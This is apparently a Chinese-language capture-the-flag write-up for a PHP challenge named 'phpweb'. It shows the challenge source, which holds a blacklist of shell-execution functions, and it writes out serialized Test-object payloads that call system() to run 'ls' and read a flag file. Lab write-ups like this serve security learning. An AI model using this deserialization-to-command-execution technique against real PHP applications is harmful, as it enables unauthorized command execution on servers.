開啟環境： 題目是phpweb，感覺是一道程式碼審計題，看看如何搞到程式碼

看到有倆個傳參，隨手修改一下引數

發現報錯 call_user_func函式，聯想到了func和p引數，嘗試修改引數讀取原始碼，show_source & index.php

吆喝，被過濾了，有戲，換個函式再試試；

ok，拿到了index頁面程式碼，整理一下；

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

發現漏洞點：class Test{} 利用 自定義gettime函式呼叫，call_user_func() 函式執行命令；

構造payload：O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}

<?php
 class Test {
     var $p = "ls";
     var $func = "system";
     function __destruct() {
            if ($this->func != "") {
             echo gettime($this->func, $this->p);
         }
     }
 }
 $a=new Test();
 echo serialize($a);

得到payload:

O:4:”Test”:2:{s:1:”p”;s:2:”ls”;s:4:”func”;s:6:”system”;}

使用payload試試效果：

ok，正常執行命令了，那就找一下flag吧

payload：O:4:”Test”:2:{s:1:”p”;s:22:”cat /tmp/flagoefiu4r93″;s:4:”func”;s:6:”system”;}